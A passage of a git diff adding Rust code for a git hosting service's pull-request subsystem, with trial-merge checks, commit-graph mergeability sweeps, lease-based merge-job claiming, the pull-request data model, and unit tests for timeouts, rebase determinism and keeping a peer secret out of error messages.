.env("GIT_COMMITTER_EMAIL", mail))?; + if !o.status.success() { + let why = stderr_tail(&o); + // Abort so no rebase state is left in the cache and the worktree can be removed. + let _ = local(&wt, &["rebase", "--abort"]); + return Ok(Err(Outcome::conflicts(format!("rebase stopped: {why}")))); + } + Ok(Ok(must(&wt, &["rev-parse", "HEAD"])?)) + })(); + let _ = local(dir, &["worktree", "remove", "--force", &path]); + let _ = std::fs::remove_dir_all(&wt); + let _ = local(dir, &["worktree", "prune"]); + done +} + +/// Would these two branches combine? The trial merge and nothing else — no commit, no push. +/// +/// This is the deep half of a mergeability check: the owner answers ancestry itself and only asks +/// for this when the branches diverged (see `pulls::check`). +pub fn check(job: &Job, cache: &Path, upstream: &str, secret: &str) -> Result { + as_job(job_timeout(), || { + if !available() { + return Ok(unknown(NO_GIT.to_string())); + } + sync(cache, upstream, secret, job)?; + check_local(job, cache) + }) +} + +fn unknown(why: String) -> Verdict { + Verdict { + state: crate::directory::MergeableState::Unknown, + detail: Some(why), + fast_forward: false, + } +} + +/// The trial merge alone, against a cache the caller has already brought up to date. +/// +/// No network at all — that is the whole point: a fan-out syncs once with `sync_branches` and then +/// calls this per change, instead of re-fetching the same repo once per change. +pub fn check_local(job: &Job, cache: &Path) -> Result { + use crate::directory::MergeableState; + if !available() { + return Ok(unknown(NO_GIT.to_string())); + } + let dir = cache_of(cache, &job.owner, &job.name); + let refs = format!("refs/heads/{}", job.base); + let head_ref = format!("refs/heads/{}", job.head); + if !local( + &dir, + &[ + "rev-parse", + &format!("{refs}^{{commit}}"), + &format!("{head_ref}^{{commit}}"), + ], + )? + .status + .success() + { + return Ok(unknown("one of the branches is gone".to_string())); + } + // A verdict this worker could not actually compute is `Unknown` with the reason, never a guess + // in either direction: "clean" would offer a button that fails, "dirty" would hide a merge + // that works. + Ok(match tree_merge(&dir, &refs, &head_ref) { + Ok(Ok(_)) => Verdict { + state: MergeableState::Clean, + detail: Some(format!( + "this can be merged into {}, but not fast-forwarded", + job.base + )), + fast_forward: false, + }, + Ok(Err(o)) => Verdict { + state: MergeableState::Dirty, + detail: o.detail, + fast_forward: false, + }, + Err(e) => unknown(e.to_string()), + }) +} + +#[cfg(test)] +mod tests { + use super::*; + + /// A repo with `main` and a `feature` branch off it. Returns the head oid. + #[cfg(test)] + fn repo_with_a_feature(dir: &Path) -> String { + must(dir, &["init", "-q", "-b", "main"]).unwrap(); + // Pods have no git identity, and neither does a test runner's HOME. + must(dir, &["config", "user.email", "t@example.com"]).unwrap(); + must(dir, &["config", "user.name", "t"]).unwrap(); + std::fs::write(dir.join("a.txt"), "a").unwrap(); + must(dir, &["add", "."]).unwrap(); + must(dir, &["commit", "-qm", "base"]).unwrap(); + must(dir, &["checkout", "-q", "-b", "feature"]).unwrap(); + std::fs::write(dir.join("b.txt"), "b").unwrap(); + must(dir, &["add", "."]).unwrap(); + must(dir, &["commit", "-qm", "head"]).unwrap(); + let head = must(dir, &["rev-parse", "HEAD"]).unwrap(); + must(dir, &["checkout", "-q", "main"]).unwrap(); + head + } + + fn job_for(strategy: &str) -> Job { + Job { + owner: "o".into(), + name: "n".into(), + number: 1, + strategy: strategy.into(), + base: "main".into(), + head: "feature".into(), + title: "t".into(), + requested_by: String::new(), + } + } + + /// A fan-out fetches ONCE and then works locally. Proven by taking the upstream away after the + /// single sync: every `check_local` still answers, which it could not if it re-fetched. + #[test] + fn a_fan_out_fetches_once_and_then_works_locally() { + if !available() { + return; + } + let td = tempfile::tempdir().unwrap(); + // The upstream `git` sees is `{upstream}/{owner}/{name}.git` — a local path works. + let up = td.path().join("up").join("o"); + std::fs::create_dir_all(&up).unwrap(); + let src = up.join("n.git"); + std::fs::create_dir_all(&src).unwrap(); + repo_with_a_feature(&src); + // Two more heads, so the fan-out really covers several changes. + for b in ["f2", "f3"] { + must(&src, &["checkout", "-q", "-b", b, "feature"]).unwrap(); + std::fs::write(src.join(format!("{b}.txt")), b).unwrap(); + must(&src, &["add", "."]).unwrap(); + must(&src, &["commit", "-qm", b]).unwrap(); + } + must(&src, &["checkout", "-q", "main"]).unwrap(); + + let cache = td.path().join("cache"); + let upstream = td.path().join("up"); + let branches: Vec = ["main", "feature", "f2", "f3"] + .iter() + .map(|s| s.to_string()) + .collect(); + sync_branches(&cache, upstream.to_str().unwrap(), "", "o", "n", &branches).unwrap(); + + // No upstream left to fetch from: anything below that touches the network fails. + std::fs::remove_dir_all(&upstream).unwrap(); + for head in ["feature", "f2", "f3"] { + let mut job = job_for("merge"); + job.head = head.into(); + let v = check_local(&job, &cache).unwrap(); + assert_eq!( + v.state, + crate::directory::MergeableState::Clean, + "{head} needed a fetch of its own" + ); + } + } + + /// A subprocess that outlives its budget is killed — the whole group, so a helper the leader + /// forked cannot keep the pipes (and the lane) open — and the job sees an `Err`, which is what + /// leaves it claimed for the lease to bring back. `sh -c 'sleep; true'` stands in for a + /// wedged `merge-tree`: sh stays the leader and sleep is the helper. + #[test] + fn a_hung_subprocess_is_killed_with_its_children_and_fails_the_job() { + let td = tempfile::tempdir().unwrap(); + let pidfile = td.path().join("pid"); + let script = format!("echo $$ > {}; sleep 30; true", pidfile.display()); + let started = Instant::now(); + let got = as_job(Duration::from_millis(300), || { + let first = out(Command::new("sh").args(["-c", &script])); + // The deadline is the job's: the NEXT command is refused without being spawned. + let second = local(Path::new("."), &["--version"]); + (first, second) + }); + assert!(started.elapsed() < Duration::from_secs(10), "the kill did not happen"); + let first = got.0.expect_err("a killed command is an Err, never an outcome"); + assert!(first.to_string().contains("timed out"), "{first}"); + let second = got.1.expect_err("a job past its deadline must not spawn more work"); + assert!(second.to_string().contains("merge job timed out"), "{second}"); + // Both processes gone: sh was the group leader, so signal 0 to its group finds nobody + // once the orphaned sleep is dead too. Polled briefly — init reaps it asynchronously. + let pgid: i32 = std::fs::read_to_string(&pidfile).unwrap().trim().parse().unwrap(); + let gone = (0..20).any(|_| { + std::thread::sleep(Duration::from_millis(100)); + (unsafe { libc::kill(-pgid, 0) }) == -1 + }); + assert!(gone, "an orphaned sleep survived the group kill"); + } + + /// A job that finishes inside its budget is untouched, and the deadline does not leak into + /// the next job on the same thread. + #[test] + fn a_quick_job_is_unaffected_by_the_deadline() { + if !available() { + return; + } + let o = as_job(Duration::from_secs(30), || local(Path::new("."), &["--version"])).unwrap(); + assert!(o.status.success()); + assert!(DEADLINE.get().is_none(), "the deadline outlived its job"); + } + + #[test] + fn landed_anyway_needs_the_head_in_the_new_base() { + if !available() { + return; + } + let td = tempfile::tempdir().unwrap(); + let dir = td.path(); + let head = repo_with_a_feature(dir); + let job = job_for("merge"); + + // Nobody has merged it: a refused push here really is a refusal. + assert_eq!(landed_anyway(dir, "", "", &job, &head), None); + + // The worker that won the race merged the same head into the same base. + must(dir, &["merge", "-q", "--no-ff", "-m", "merged", &head]).unwrap(); + let new_base = must(dir, &["rev-parse", "HEAD"]).unwrap(); + assert_eq!(landed_anyway(dir, "", "", &job, &head), Some(new_base)); + } + + /// CLAUDE.md names the `local()`/`networked()` split as what keeps the peer secret out of error + /// messages, and until this test nothing asserted it. The secret rides in an + /// `-c http.extraHeader=` argv entry, so ANY code path that formats a networked command's argv + /// into an error, a log line or a panic leaks a credential into wherever those go — and it would + /// keep working perfectly while doing so, which is why only a test catches it. + #[test] + fn a_failed_networked_call_never_names_the_secret() { + if !available() { + return; + } + const SECRET: &str = "SUPER-SECRET-PEER-TOKEN-must-never-appear"; + let td = tempfile::tempdir().unwrap(); + let dir = td.path(); + must(dir, &["init", "-q", "-b", "main"]).unwrap(); + + // Port 1 is reserved and nothing listens: the fetch fails fast, which is the shape of every + // real networked failure (a dead peer, a refused connection, a timeout). + let o = networked(dir, SECRET, "alice", &["fetch", "http://127.0.0.1:1/repo.git", "main"]) + .expect("spawning git must succeed even when the fetch fails"); + assert!(!o.status.success(), "the fixture must actually fail, or it proves nothing"); + + // Everything a caller can surface from here. + let tail = stderr_tail(&o); + let stderr = String::from_utf8_lossy(&o.stderr).to_string(); + let stdout = String::from_utf8_lossy(&o.stdout).to_string(); + for (what, text) in [("stderr_tail", &tail), ("stderr", &stderr), ("stdout", &stdout)] { + assert!(!text.contains(SECRET), "{what} leaked the peer secret: {text}"); + } + } + + #[test] + fn a_rebase_is_byte_identical_when_replayed() { + if !available() { + return; + } + let td = tempfile::tempdir().unwrap(); + let dir = td.path(); + let head = repo_with_a_feature(dir); + // Move the base so the rebase actually replays something — a feature already on top of + // its base is a no-op and would pass this test without proving anything. + std::fs::write(dir.join("c.txt"), "c").unwrap(); + must(dir, &["add", "."]).unwrap(); + must(dir, &["commit", "-qm", "base moves"]).unwrap(); + + let first = rebase(dir, "main", &head).unwrap().unwrap(); + // The committer date has one-second granularity, so without a wait the two runs can land + // in the same second and pass by luck. + std::thread::sleep(std::time::Duration::from_millis(1100)); + let second = rebase(dir, "main", &head).unwrap().unwrap(); + assert_eq!( + first, second, + "a replayed rebase must re-mint the same commit, or a retry pushes duplicates" + ); + } + + #[test] + fn a_squash_that_landed_is_recognised_by_its_tree() { + if !available() { + return; + } + let td = tempfile::tempdir().unwrap(); + let dir = td.path(); + let head = repo_with_a_feature(dir); + let job = job_for("squash"); + + assert_eq!(landed_anyway(dir, "", "", &job, &head), None); + + // A squash rewrites, so the head is NEVER an ancestor of what landed — only the tree + // matches. This is the arm that ancestry alone would get wrong. + must(dir, &["merge", "-q", "--squash", &head]).unwrap(); + must(dir, &["commit", "-qm", "squashed"]).unwrap(); + let new_base = must(dir, &["rev-parse", "HEAD"]).unwrap(); + assert!( + !local(dir, &["merge-base", "--is-ancestor", &head, &new_base]).unwrap().status.success(), + "the fixture must really be a rewrite, or the test proves nothing" + ); + assert_eq!(landed_anyway(dir, "", "", &job, &head), Some(new_base)); + } + + /// The shape `git merge-tree --write-tree --messages -z` actually emits (captured from git + /// 2.47): tree oid, then one record per conflicted path PER STAGE, then an empty record, then + /// prose. Parsing the prose would invent files; counting records would triple the count. + #[test] + fn conflicted_paths_are_deduped_and_stop_at_the_messages() { + let out = b"7e3ea0b36c862be0a343d272648b6a16\ + \x00100644 5626abf0f72e58d7a153368ba57db4c6 1\ta.txt\ + \x00100644 df967b96a579e45a18b8251732d16804 2\ta.txt\ + \x00100644 564b12f45becba5fb2f70e270af067c1 3\ta.txt\ + \x00\x001\x00a.txt\x00Auto-merging\x00Auto-merging a.txt\n\x00"; + assert_eq!(conflicted_paths(out), vec!["a.txt"]); + } + + #[test] + fn every_conflicted_path_is_kept_in_order() { + let out = b"tree\x00100644 aa 1\tz.txt\x00100644 bb 2\tz.txt\x00100644 cc 1\ta.txt\x00\x00prose\x00"; + assert_eq!(conflicted_paths(out), vec!["z.txt", "a.txt"]); + } + + /// A clean merge writes the tree and nothing else, so there is no conflicted section to read — + /// and the messages that follow must not be mistaken for one. + #[test] + fn a_clean_run_names_no_paths() { + assert!(conflicted_paths(b"7e3ea0b3\x00Auto-merging a.txt\n\x00").is_empty()); + } + + #[test] + fn the_detail_names_the_files_and_counts_the_rest() { + let p = |v: &[&str]| v.iter().map(|s| s.to_string()).collect::>(); + assert_eq!(conflict_detail(&p(&["a"])), "conflicts in: a"); + assert_eq!(conflict_detail(&p(&["a", "b"])), "conflicts in: a, b"); + assert_eq!( + conflict_detail(&p(&["a", "b", "c", "d"])), + "conflicts in: a, b (+2 more)" + ); + // Never an empty sentence: exit 1 with no parseable record still has to say something. + assert_eq!(conflict_detail(&[]), "the branches conflict"); + // A path is arbitrary bytes and this sentence is stored and rendered: each name is capped + // on its own, so a pathological first path cannot push the second out of view. + let long = "x".repeat(400); + let got = conflict_detail(&p(&[&long, "b"])); + assert!(got.ends_with("…, b"), "{got}"); + assert_eq!(got.chars().count(), "conflicts in: ".len() + 120 + 1 + 3); + // Cut on a CHARACTER boundary — slicing a multi-byte path by bytes would panic. + let wide = "é".repeat(400); + assert_eq!( + conflict_detail(&p(&[&wide])).chars().count(), + "conflicts in: ".len() + 121 + ); + } +} diff --git a/crates/pulls/src/pulls/check.rs b/crates/pulls/src/pulls/check.rs new file mode 100644 index 00000000..315332f1 --- /dev/null +++ b/crates/pulls/src/pulls/check.rs @@ -0,0 +1,183 @@ +//! Mergeability checking — the gix graph walk. Feature-gated: the worker links `pulls` +//! without `check` and must not pull in gix or `rustic-git-gitbase`. + +use super::model::{get, put, open_only, Deep, Mergeability, PullState}; +use crate::directory::MergeableState; +use rustic_git_core::{err, Result}; +use rustic_git_storage::store::{Repo, Store}; + +/// The most graph walks one repo-wide sweep will do. A `HeadMoved` fan-out and the owner's +/// periodic lane share it: neither may turn one push into an unbounded serial graph walk that +/// starves the node it runs on. It caps WORK, not rows: every open change is looked at (two ref +/// reads each, which is what makes the unchanged case cheap), and only the ones whose tips moved +/// count — capping rows meant the same 25 lowest-numbered changes filled it on every pass and +/// #26 onward were never checked at all. +/// ponytail: a flat cap, not a queue — a repo with more moved changes than this leaves the tail to +/// the next pass, which sees them first-by-number again. Upgrade to a cursor over `pull/` if a +/// repo regularly exceeds it. +pub const CHECK_LIMIT: usize = 25; + +/// Recompute one change's mergeability and record it, in the repo's own database. +/// +/// This runs ONLY on the node that owns the repo, which is what makes it correct AND cheap: that +/// node holds the refs and the objects, so the answer is a local graph walk rather than the two +/// HTTP round trips the merge worker used to make to ask a node about a repo it was already +/// serving. It is also why discovery had to move here at all — no other process may open this +/// database without fencing the owner. +/// +/// `Checked::Unchanged` means there was nothing to do: the change is gone or no longer open, or +/// neither tip has moved since the last answer. Nothing is written in that case, deliberately — a +/// lane that restamped every change it looked at would rewrite the whole repo on every pass. +/// +/// `Checked::Deep` means the cheap answer ran out: the branches DIVERGED, and whether they combine +/// is a real three-way merge. That is the worker's to do with the git binary — see +/// `crate::merge_worker` — so the row is stamped `Unknown`/"checking…" and the caller is told +/// which change to hand over. +pub async fn check(store: &Store, owner: &str, name: &str, number: i64) -> Result { + let Some(repo) = store.open_repo(owner, name).await? else { return Ok(Checked::Unchanged) }; + check_with(store, owner, name, &repo, number).await +} + +/// The check itself, against a repo the caller already opened — `check_repo` sweeps many +/// changes and must not pay `open_repo` (marker reconcile, pack sync) once per change. +async fn check_with( + store: &Store, + owner: &str, + name: &str, + repo: &Repo, + number: i64, +) -> Result { + let db = store.db_for(owner, name).await?; + let Some(pr) = get(&db, number).await? else { return Ok(Checked::Unchanged) }; + if pr.state != PullState::Open { + return Ok(Checked::Unchanged); + } + + // The tips FIRST, because that is the cheap question: reading two refs is two `get`s, while + // comparing the branches walks the commit graph to find where they parted. + let base = store.get_ref(repo, &format!("refs/heads/{}", pr.base)).await?; + let head = store.get_ref(repo, &format!("refs/heads/{}", pr.head)).await?; + // A branch that is gone is the empty string rather than an absent value, so the "has anything + // moved?" test below converges on a deleted branch too — otherwise a change whose head was + // deleted would be recomputed on every single pass, forever. + let hex = |o: &Option| o.map(|o| o.to_hex().to_string()).unwrap_or_default(); + let (now_base, now_head) = (hex(&base), hex(&head)); + if let Some(old) = &pr.mergeability { + if old.base_oid == now_base && old.head_oid == now_head { + return Ok(Checked::Unchanged); + } + } + + // Set alongside the row when the cheap answer ran out, and returned to the caller. + let mut deep = false; + let m = match (base, head) { + (Some(b), Some(h)) => { + // `merge_base` alone: the old `compare(_, _, _, 1)` also built a full unified diff + // from the merge base and walked commit history, all of it discarded — the sweep + // needs the ancestry verdict, nothing else. + // Ceiling on the deep sweep: past-budget divergence returns Unknown and defers to + // the worker rather than walking forever. The now_base/now_head unchanged-guard + // above is what keeps this cheap in the common case — most sweeps never reach here. + const BUDGET: usize = 50_000; + let repo2 = repo.clone(); + let mb = tokio::task::spawn_blocking(move || { + repo2.odb().map(|odb| rustic_git_gitbase::merge_base(&odb, b, h, BUDGET)) + }) + .await + .map_err(|e| err(format!("comparing: {e}")))??; + use rustic_git_gitbase::MergeBase; + // Three answers this node can give for free, and one it cannot. Ancestry is a graph + // walk over data already here; whether two diverged trees COMBINE is a merge, and a + // merge is the worker's job — see the module doc on `crate::merge_worker`. + let (state, ff, detail) = match mb { + MergeBase::Found(m) if m == b => (MergeableState::Clean, true, None), + MergeBase::Found(m) if m == h => ( + MergeableState::Behind, + false, + Some(format!("this branch is already in {}", pr.base)), + ), + MergeBase::Unrelated => ( + MergeableState::Dirty, + false, + Some("these branches share no history".to_string()), + ), + // Diverged, or too deep to tell: both are the worker's question. An exhausted + // walk must never be recorded as Dirty — that hid the merge button on every + // long-lived branch of a big repo. + MergeBase::Found(_) | MergeBase::Exhausted => { + deep = true; + (MergeableState::Unknown, false, Some("checking…".to_string())) + } + }; + Mergeability { + state, + base_oid: now_base.clone(), + head_oid: now_head.clone(), + checked_at_ms: rustic_git_storage::ownership::now_ms() as i64, + detail, + fast_forward: ff, + } + } + // Not an error: the change is simply not mergeable until someone pushes the branch back, + // and saying so beats retrying forever. + _ => Mergeability { + state: MergeableState::Unknown, + base_oid: now_base, + head_oid: now_head, + checked_at_ms: rustic_git_storage::ownership::now_ms() as i64, + detail: Some("one of the branches is gone".to_string()), + fast_forward: false, + }, + }; + + // Re-read under the repo's pull lock: the comparison above took real time, and a comment or a + // merge request that landed meanwhile must not be thrown away by writing back the stale row. + let lock = store.keyed_lock(&format!("pulls/{owner}/{name}")); + let _guard = lock.lock().await; + let Some(mut fresh) = get(&db, number).await? else { return Ok(Checked::Unchanged) }; + fresh.check_at_ms = Some(m.checked_at_ms); + fresh.mergeability = Some(m); + put(&db, &fresh).await?; + Ok(if deep { + Checked::Deep(Deep { number, base: fresh.base.clone(), head: fresh.head.clone() }) + } else { + Checked::Answered + }) +} + +/// What one cheap check concluded. +#[derive(Debug, Clone, PartialEq)] +pub enum Checked { + /// Nothing moved, or there is nothing to check. Nothing was written. + Unchanged, + /// Answered from ancestry alone, and recorded. + Answered, + /// Recorded as "checking…"; the worker must try the merge for real. + Deep(Deep), +} + +/// Every open change in one repo, checked. Both discovery paths land here: the owner's periodic +/// lane sweeps its repos with it, and a `HeadMoved` event — which is about a branch, not a change — +/// fans out through it. +pub async fn check_repo(store: &Store, owner: &str, name: &str) -> Result> { + let db = store.db_for(owner, name).await?; + // One `open_repo` for the whole sweep, not one per change: it does marker reconcile and a + // pack sync, and paying that per PR was most of the background lane's cost. + let Some(repo) = store.open_repo(owner, name).await? else { return Ok(Vec::new()) }; + let mut deep = Vec::new(); + let mut walked = 0; + for pr in open_only(&db, usize::MAX).await? { + if walked >= CHECK_LIMIT { + break; + } + match check_with(store, owner, name, &repo, pr.number).await? { + Checked::Unchanged => {} + Checked::Answered => walked += 1, + Checked::Deep(d) => { + walked += 1; + deep.push(d); + } + } + } + Ok(deep) +} diff --git a/crates/pulls/src/pulls/jobs.rs b/crates/pulls/src/pulls/jobs.rs new file mode 100644 index 00000000..5812ff8a --- /dev/null +++ b/crates/pulls/src/pulls/jobs.rs @@ -0,0 +1,217 @@ +// --------------------------------------------------------------------------- +// Merge jobs. +// +// A merge job hangs off a `PullRequest`, so it lives in the repo's own database like everything +// else here, and only the node that owns the repo may touch it. +// +// Mongo's `claim_merge` needed `find_one_and_update` because ANY worker replica could claim, so +// atomicity had to hold across processes. Repo-local there is exactly ONE writer by construction +// — the owning node — so the repo's `pulls/{owner}/{name}` lock is sufficient, and in fact +// stronger: the race the compare-and-swap was defending against cannot be reached at all. +// --------------------------------------------------------------------------- + +use super::model::{get, put, with_merge_jobs, PullRequest, PullState}; +use crate::directory::MergeState; +use rustic_git_core::Result; +use rustic_git_storage::store::Store; + +/// Read-modify-write of one change, under the repo's own pull lock. +/// +/// The one locking pattern for a change; `browse_api::pulls::update` is its HTTP face and calls +/// straight through here. The lock spans the read AND the write because every write is a +/// modification of one row: two callers that both read the same row would lose one of them. +/// `f` returning `false` means "leave it alone" — nothing is written and the answer is `None`, +/// which is also what a missing change gives, since neither is a change the caller made. +pub async fn modify( + store: &Store, + owner: &str, + name: &str, + number: i64, + f: impl FnOnce(&mut PullRequest) -> bool, +) -> Result> { + let db = store.db_for(owner, name).await?; + let lock = store.keyed_lock(&format!("pulls/{owner}/{name}")); + let _guard = lock.lock().await; + let Some(mut pr) = get(&db, number).await? else { return Ok(None) }; + if !f(&mut pr) { + return Ok(None); + } + put(&db, &pr).await?; + Ok(Some(pr)) +} + +/// Take the next merge this repo has waiting, marking it taken. `None` means there is nothing. +/// +/// The scan happens INSIDE the lock, not just the write: a candidate chosen outside it could be +/// claimed by someone else before the write lands, which is the exact double-merge this exists +/// to prevent. +/// +/// `lease` is how long a claim stands before the job is assumed abandoned and may be taken again +/// — so a node dying mid-merge delays the change rather than stranding it forever. +pub async fn claim_merge( + store: &Store, + owner: &str, + name: &str, + lease: std::time::Duration, + me: &str, +) -> Result> { + let db = store.db_for(owner, name).await?; + let lock = store.keyed_lock(&format!("pulls/{owner}/{name}")); + let _guard = lock.lock().await; + let now = rustic_git_storage::ownership::now_ms() as i64; + let lease_ms = lease.as_millis() as i64; + for mut pr in with_merge_jobs(&db).await? { + // Same rule the by-number twin applies: a change that closed after its merge was queued + // must not still be merged. `takeable` only reads the JOB, which outlives the change's + // own state. + if pr.state != PullState::Open || !takeable(&pr, now, lease_ms) { + continue; + } + if let Some(job) = pr.merge.as_mut() { + job.state = MergeState::Running; + job.claimed_at_ms = Some(now); + job.claimed_by = Some(me.to_string()); + } + put(&db, &pr).await?; + return Ok(Some(pr)); + } + Ok(None) +} + +/// Is this job free to take? Queued always; Running only once its claimant has had longer than +/// the lease and is presumed gone. +fn takeable(pr: &PullRequest, now: i64, lease_ms: i64) -> bool { + match pr.merge.as_ref().map(|j| (j.state, j.claimed_at_ms)) { + Some((MergeState::Queued, _)) => true, + Some((MergeState::Running, at)) => at.is_none_or(|t| now - t > lease_ms), + _ => false, + } +} + +/// One named change's merge job, claimed. `None` means it is not there to take — no job, already +/// running under a live lease, or already finished. +/// +/// The by-number twin of `claim_merge`, for the worker: a nudge is about ONE change, and scanning +/// the repo for "any queued merge" would have a worker claim a job some other worker was already +/// nudged about. +pub async fn claim_merge_number( + store: &Store, + owner: &str, + name: &str, + number: i64, + lease: std::time::Duration, + me: &str, +) -> Result> { + let now = rustic_git_storage::ownership::now_ms() as i64; + let lease_ms = lease.as_millis() as i64; + modify(store, owner, name, number, |pr| { + if pr.state != PullState::Open || !takeable(pr, now, lease_ms) { + return false; + } + if let Some(job) = pr.merge.as_mut() { + job.state = MergeState::Running; + job.claimed_at_ms = Some(now); + job.claimed_by = Some(me.to_string()); + } + true + }) + .await +} + +/// How long a job must have gone unclaimed before the owner says so again. +/// +/// The floor exists for a job whose nudge was LOST, which is rare; the common case is a job the +/// merge handler announced a moment ago and a worker is already claiming. Without this the 15s +/// beat would re-announce that job on every pass, and a job nothing can claim — no worker running, +/// a repo whose merges all fail — would publish forever. The events stream is capped +/// (`MAXLEN 5000`), so that does not grow without bound; it does something worse, which is evict +/// the activity feed everyone else is reading. +pub const ANNOUNCE_EVERY: std::time::Duration = std::time::Duration::from_secs(30); + +/// Every merge in this repo that is still waiting and is due to be said again — a lost nudge, or a +/// worker that took the job and died. The owner re-announces these; it no longer performs them. +/// +/// `announced_at_ms` (falling back to `requested_at_ms`, for a job from before that field existed +/// and for one nobody has re-announced yet) is what paces it. `mark_announced` moves the stamp. +pub async fn stranded_merges( + store: &Store, + owner: &str, + name: &str, + lease: std::time::Duration, +) -> Result> { + let db = store.db_for(owner, name).await?; + let now = rustic_git_storage::ownership::now_ms() as i64; + let lease_ms = lease.as_millis() as i64; + let quiet_ms = ANNOUNCE_EVERY.as_millis() as i64; + Ok(with_merge_jobs(&db) + .await? + .into_iter() + .filter(|pr| { + if pr.state != PullState::Open || !takeable(pr, now, lease_ms) { + return false; + } + let Some(job) = pr.merge.as_ref() else { return false }; + let said = job.announced_at_ms.unwrap_or(job.requested_at_ms); + now - said > quiet_ms + }) + .collect()) +} + +/// Stamp a job as announced, so the next beat does not announce it again immediately. +pub async fn mark_announced(store: &Store, owner: &str, name: &str, number: i64) -> Result<()> { + modify(store, owner, name, number, |pr| match pr.merge.as_mut() { + Some(job) => { + job.announced_at_ms = Some(rustic_git_storage::ownership::now_ms() as i64); + true + } + None => false, + }) + .await + .map(|_| ()) +} + +/// Record how a merge ended, leaving the job in place: the state and the reason are what the +/// person waiting is shown, and a failed job may be retried from there. +pub async fn finish_merge( + store: &Store, + owner: &str, + name: &str, + number: i64, + state: MergeState, + detail: Option<&str>, +) -> Result<()> { + modify(store, owner, name, number, |pr| { + let Some(job) = pr.merge.as_mut() else { return false }; + job.state = state; + job.detail = detail.map(str::to_string); + true + }) + .await + .map(|_| ()) +} + +/// Drop the job entirely. `Queued` is not a state a finished job stays in, and a merged change +/// already records that it merged in its own `state` — so clearing is the honest end. +pub async fn clear_merge(store: &Store, owner: &str, name: &str, number: i64) -> Result<()> { + modify(store, owner, name, number, |pr| pr.merge.take().is_some()).await.map(|_| ()) +} + +/// Open, merged or closed. `merged_at` is stamped here rather than by the caller so the two can +/// never disagree. +pub async fn set_state( + store: &Store, + owner: &str, + name: &str, + number: i64, + state: PullState, +) -> Result<()> { + modify(store, owner, name, number, |pr| { + pr.state = state; + if state == PullState::Merged && pr.merged_at_ms.is_none() { + pr.merged_at_ms = Some(rustic_git_storage::ownership::now_ms() as i64); + } + true + }) + .await + .map(|_| ()) +} diff --git a/crates/pulls/src/pulls/mod.rs b/crates/pulls/src/pulls/mod.rs new file mode 100644 index 00000000..bf927497 --- /dev/null +++ b/crates/pulls/src/pulls/mod.rs @@ -0,0 +1,19 @@ +//! Pull requests, in the repo's own database. +//! +//! No HTTP and no Mongo here: this is the key encoding and the numbering sequence over a +//! SlateDB handle, so it is testable without a fleet. +//! +//! Timestamps are milliseconds since epoch, not `bson::DateTime`: a bson type survives a +//! non-bson serializer only by accident of its `Serialize` impl, and repo-local truth should +//! not carry a MongoDB-shaped value once Mongo is gone. The serde names still say `createdAt` +//! and friends, because those are the wire names the web app already reads. + +pub mod model; +pub use model::*; +mod jobs; +pub use jobs::*; +#[cfg(feature = "check")] +mod check; +#[cfg(feature = "check")] +pub use check::*; +pub use crate::directory::{MergeState, MergeableState}; diff --git a/crates/pulls/src/pulls/model.rs b/crates/pulls/src/pulls/model.rs new file mode 100644 index 00000000..e3676d5f --- /dev/null +++ b/crates/pulls/src/pulls/model.rs @@ -0,0 +1,397 @@ +//! The pull-request row, its numbering, and migration from the directory — everything the +//! worker links. No gix here: that is `check`, behind its own feature. + +use crate::directory::{MergeState, MergeableState}; +use rustic_git_core::{err, Result}; +use rustic_git_storage::store::Store; +use serde::{Deserialize, Serialize}; +use slatedb::Db; + +/// Zero-padded so lexical order over `pull/` IS numeric order — `scan_prefix` is the only +/// listing there is, and a bare decimal sorts `10` before `9`. +pub fn pull_key(number: i64) -> String { + format!("pull/{number:08}") +} + +const PULL_PREFIX: &str = "pull/"; +/// The next number to hand out, decimal. In the `meta/` namespace beside `meta/public` and +/// `meta/created_at`: repo state, read and written by the node that owns the repo. +const NEXT_PULL_KEY: &[u8] = b"meta/next_pull"; + +/// A proposed change: take what is on `head` and put it on `base`. +/// +/// Metadata only. The commits, the diff and the merge are git's, computed from +/// the refs this names — nothing here duplicates what the object database already +/// knows, so a PR cannot drift from the branch it is about. +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)] +#[serde(rename_all = "camelCase")] +pub struct PullRequest { + /// `owner/name#number`. Redundant with the SlateDB key now that the repo owns the database, + /// but the web app keys its list on it — see `web/.../components/repo/pulls.tsx`. + #[serde(rename = "_id")] + pub id: String, + pub repo: String, + /// Per repo, starting at 1. What people call it. + pub number: i64, + pub title: String, + #[serde(default)] + pub body: String, + /// Branch SHORT names. Stored rather than resolved oids: a PR follows its + /// branch, so a push to `head` updates what the PR contains, which is what + /// everyone expects and what makes review iterative. + pub base: String, + pub head: String, + pub state: PullState, + pub author: String, + #[serde(rename = "createdAt", deserialize_with = "ms")] + pub created_at_ms: i64, + #[serde(rename = "mergedAt", default, deserialize_with = "ms_opt", skip_serializing_if = "Option::is_none")] + pub merged_at_ms: Option, + #[serde(default)] + pub comments: Vec, + /// Present once someone has asked for it to be merged. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub merge: Option, + /// Kept fresh by the worker; read by the page. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub mergeability: Option, + /// When a worker last TOOK this change to look at — which is not the same as + /// when it last answered. Top-level and separate from `mergeability` so a + /// claim can be stamped without writing a half-built answer into it. + #[serde(rename = "checkAt", default, deserialize_with = "ms_opt", skip_serializing_if = "Option::is_none")] + pub check_at_ms: Option, +} + +/// Whether a change could be merged, worked out ahead of being asked. +/// +/// Computed in the background because the page must be able to say "this +/// conflicts" BEFORE anyone clicks — and because working it out is a real merge +/// attempt, not a lookup. +/// +/// It records the two tips it was computed FROM. That is what makes it safe to +/// cache: the git nodes that accept pushes hold no directory connection and +/// cannot invalidate anything, so the only honest test of "is this still true" is +/// whether the branches have moved since. +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)] +#[serde(rename_all = "camelCase")] +pub struct Mergeability { + pub state: MergeableState, + /// The tips this answer was computed from. + pub base_oid: String, + pub head_oid: String, + #[serde(rename = "checkedAt", deserialize_with = "ms")] + pub checked_at_ms: i64, + #[serde(default, skip_serializing_if = "Option::is_none")] + pub detail: Option, + /// Whether the base can simply MOVE to the head — the one strategy that writes no commit. + /// `Clean` no longer implies it: a diverged branch that a trial merge combined cleanly is + /// clean too, and offering fast-forward there would refuse at the click. + /// `#[serde(default)]` so a row written before this field reads as "no", which is the safe + /// direction: it hides an option rather than offering one that cannot work. + #[serde(default)] + pub fast_forward: bool, +} + +/// A merge someone asked for, and how far it got. +/// +/// Merging is a job rather than a request/response because it can be slow: a +/// three-way merge on a large tree is real work, and doing it inside the HTTP +/// call would tie up a request for as long as 